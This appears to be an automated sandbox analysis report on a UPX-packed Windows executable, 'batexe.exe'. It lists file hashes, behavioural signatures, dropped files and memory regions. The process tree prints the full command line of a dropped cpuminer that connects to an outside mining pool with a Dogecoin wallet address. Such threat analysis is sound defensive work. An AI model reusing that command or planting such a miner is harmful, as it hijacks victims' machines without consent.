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Analysis

  • max time kernel
    297s
  • max time network
    306s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    12/02/2024, 14:05

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3388
    • C:\Users\Admin\AppData\Local\Temp\9B36.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\9B36.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9B36.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:452
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A364.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2972
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4904

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\9B36.tmp\b2e.exe

    Filesize

    16.6MB

    MD5

    0b90df9736876e70e66dbfe93a2731d5

    SHA1

    8f21318a8df1a53574683d6d55feca690de0dfd0

    SHA256

    6c54d78cdbc1801498601e82f225cea9dfd2ea5a397aa29e2e877948c9575220

    SHA512

    96141f1b8d4fbda36c6bc8c685ec427457a038e6b2f621d3216a72b375b4c1a2838cad1bfd00154b121fabb416b415cee09e07a2171a2e0525952564cbfe49eb

  • C:\Users\Admin\AppData\Local\Temp\9B36.tmp\b2e.exe

    Filesize

    3.6MB

    MD5

    a4bd8cfbc4053e22acc59e3f173407b3

    SHA1

    16fb971561cb859fd9148a194a1371172964662c

    SHA256

    86171dd90d8b40bf277507ce0452a563dfac855f1e3035f1e539d79961230107

    SHA512

    9b07795e8019025b6d8570d422a5977f70766f88483656440452b710e3c20524cc35b2db0de003abb102025e44742ac0625ebea6c8b80589f77a6f22173526d5

  • C:\Users\Admin\AppData\Local\Temp\9B36.tmp\b2e.exe

    Filesize

    3.8MB

    MD5

    7a69624f7316e5fac68a079a6cf60a81

    SHA1

    447571efee607e9f5f76959049bd7c3ae6cf8c08

    SHA256

    b487f8fd1607ad1c71cd1e896f00c0b306f894bc2e0f8bff05496c9b670ed0ba

    SHA512

    0430154ea7c1c9d7aa479ae0bad090e15b009de546085b382b2fa6b4eb8ecc157a7405e56bffa1b860e2dccb7f11e9f7173d018e8b6483982baa3a135c741d93

  • C:\Users\Admin\AppData\Local\Temp\A364.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.1MB

    MD5

    d6a2651ce86560ec77259efc3df246fa

    SHA1

    1e72d8e5049a66e1f257d00847fae193c2f8bb02

    SHA256

    1703f2c16ca81fd8d53d899d0c191db61af986281cdaf3939e9aafcb2aa377a6

    SHA512

    eece650394d481935c42793702efa7220ae51d92e50dde346b62026d1946418011f665dabe217b6e775b79d65b7580652299a816961a23880abff400ee14201b

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.8MB

    MD5

    6a119a1a3238dd3b96b0ca27529e1cb2

    SHA1

    d3ecdcfa3c3f70a0ce249e8210a4588b7a984d61

    SHA256

    679770ac6b8817004acfacd8eaa3db50ce3fbd34f039d45872f588f0182c021b

    SHA512

    0b4b49312889f2795399eb93f662a1af2a479890a2abc4f6279107b205f9fb674005d0c5280eac0a00c797eafda1b11f19b98f84c6edd385d6102e49e5496357

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.5MB

    MD5

    73541513dbe2388880fdfbe2d092d470

    SHA1

    cf554348daa6e4384aa8972607e0fb85eef1f0e4

    SHA256

    9442647e652eabce1a148387d4c839ac5b216081943e4a42082f119621cf1a71

    SHA512

    6fcf3bd2b1374b6821ca17977841a2c0aa185f5070f881ab83768c3ba6153d52ace547ece5411028ff03e0ffab62e1d30bab5637366ea4c98c1316b878cc7ca9

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.2MB

    MD5

    e5ad741b50e51cfb77f8bc80e669acf4

    SHA1

    19a1ecff5b7aa7008d0b1d70dc2aa4b1b2ed9e86

    SHA256

    c9edf0f5691a3cab0fbf0d94c28b2dccb6e155e541a871b29873aeeb1a7f1c1d

    SHA512

    1342b8d883586a5946bf83d6e31a4a078dcce1651a0ed2eabe3d539adb1a3b0c14f821161f82b228a3d3814bf39bbc401ffd5128c80805afd8cd4b37bbf04e63

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.1MB

    MD5

    03ae1346c99a66fcbd06c3a56898820a

    SHA1

    cf57878eb1c3523d08468ba3e9e65a063c24d902

    SHA256

    bdb28d28d4f6093c2bbf0cbdf1b2edaf325ad34c214cde4123437896488dc445

    SHA512

    b1e6f93db804c65f996ae29123a601ee95830391d9f5b73608962cbcd25a9082f1b1f9a6e732e5f84bfa3bd7207101edf9d076445370150ae58c9dcace634260

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/452-58-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/452-9-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3388-7-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/4904-46-0x000000005EC90000-0x000000005ED28000-memory.dmp

    Filesize

    608KB

  • memory/4904-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4904-45-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4904-47-0x00000000010B0000-0x0000000002965000-memory.dmp

    Filesize

    24.7MB

  • memory/4904-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4904-53-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4904-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4904-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4904-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4904-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4904-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4904-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4904-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4904-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4904-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB